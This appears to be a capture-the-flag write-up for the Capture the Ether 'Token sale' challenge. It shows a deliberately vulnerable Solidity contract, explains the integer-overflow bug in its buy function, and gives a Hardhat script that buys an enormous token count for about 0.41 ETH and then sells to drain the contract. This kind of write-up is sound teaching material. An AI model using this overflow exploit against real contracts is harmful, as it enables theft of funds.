07.Token sale
2023-06-23 20:30:34 # 01.Capturetheether CTF

Token sale

topic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;

function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}

function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);

balanceOf[msg.sender] += numTokens;
}

function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);

balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

analyse

This is an integer overflow vulnerability. This is the vulnerability code:

1
2
3
4
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}

we should know that:

  • 1 ether equals 10^18
  • if numTokens larger than type(uint256).max, it will cause an integer overflow vulnerability
  • We have to get the maximum possible uint256 = 2^256 - 1, then divide it by 1 ether = 10^18.
  • Then, we add 1 to the maxUint256, to ensure that when multiplied by 1 ether(10^18), it causes an overflow.
  • Knowing that the overflow will happen, we need to know by how much in order to send the correct msg.value
  • We have established that: ((2^256/10^18) + 1) * 10^18 = overflow. So, msg.value needed = overflow - (type(uint256).max + 1) .
1
2
3
msg.value == numTokens * PRICE_PER_TOKEN
2^256 / 10^18 + 1 = 115792089237316195423570985008687907853269984665640564039458
(2^256 / 10^18 + 1) * 10^18 - 2^256 = 415992086870360064 ~= 0.41 ETH

solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import { expect } from "chai";
import { ethers } from "hardhat";

const { utils } = ethers;

describe("TokenSaleChallenge", () => {
it("Solves the challenge", async () => {
const myAddress = ethers.provider.getSigner().getAddress();
const challengeFactory = await ethers.getContractFactory("TokenSaleChallenge");
const challengeContract = await challengeFactory.deploy(myAddress, {
value: utils.parseEther("1"),
});
await challengeContract.deployed();

// msg.value == numTokens * PRICE_PER_TOKEN
// 2^256 / 10^18 + 1 = 115792089237316195423570985008687907853269984665640564039458
// (2^256 / 10^18 + 1) * 10^18 - 2^256 = 415992086870360064 ~= 0.41 ETH
const buyTx = await challengeContract.buy("115792089237316195423570985008687907853269984665640564039458", {
value: "415992086870360064",
});
await buyTx.wait();

const sellTx = await challengeContract.sell(1);
await sellTx.wait();

expect(await challengeContract.isComplete()).to.be.true;
});
});